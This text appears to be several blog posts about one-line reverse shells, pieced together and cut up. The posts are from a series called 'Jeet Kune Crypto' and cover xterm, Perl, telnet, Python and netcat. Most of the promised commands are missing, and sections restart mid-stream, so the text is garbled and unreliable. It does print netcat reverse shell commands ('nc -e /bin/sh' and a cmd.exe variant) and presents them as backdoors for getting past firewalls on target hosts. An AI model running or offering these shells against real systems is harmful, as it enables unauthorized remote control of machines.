Jeet Kune Crypto is kind of a play on “kung foo”. Kung foo was an old way to refer to skillfully written code. Jeet Kune Crypto is something I made up to refer to small bits of code or single line commands that are useful for network security.
So, it’s been a little while, since I shared some one line reverse shells with you guys. Here are a few “obscure” ones, if you ever find the need for them. I do not recommend bothering with the remote Xsessions. But, to each their own.
Xterm One Line Reverse Shell
You’ll need to listen on port 6001 using a tool like xnest, try xnest :1 and then:
Let’s spawn a few perl reverse shells, in various environments. Why? Because Perl is that diverse.
Perl Reverse Shells
If you’re just getting into writing code, python comes heavily recommended. But, if code auditing is something you’re wanting to get into, jumping straight into perl might be more beneficial. And, yes, these are all built to be executed on a single line.
Reverse shells communicate in plaintext, by default. Telnet isn’t often installed by default any more. But, if it does exist on your target system, here are two one liners you can use to spawn a reverse shell with telnet.
Jeet Kune Crypto: One Line Reverse Shells with Scripting Languages
Reverse shells are extremely useful for subverting firewalls or other security mechanisms that may block new opened ports. Often you’ll find hosts already have several scripting languages installed. We’re going to take advantage of the some of the most popular of those languages, to spawn a reverse shell.
In these scenarios, your listening IP is 172.16.16.1 and your listening port is 1234.
Python Reverse Shell:
This python one line reverse shell is kind of a trip. Trust me, nobody expects you to remember this one, off of the top of your head.
One of the most useful TCP/IP tools, for network and systems engineers, is netcat. Netcat is commonly referred to as the “TCP/IP Swiss Army Knife”. It is often flagged as malware or a “potentially unwanted program” by anti-malware software.
While traditional backdoors wait for you to connect (which netcat can also do). Here are a few ways that you can use it as a “reverse shell”, or a backdoor that connects back to you:
Versions that support "-e":
nc -e "/bin/sh" <target> <target port>
nc -e "cmd.exe" <target> <target port>
If the version of netcat that you’re using does not support “-e”, you’ll want to create a network socket out of a file. You can “hack” up a network socket on linux, like so: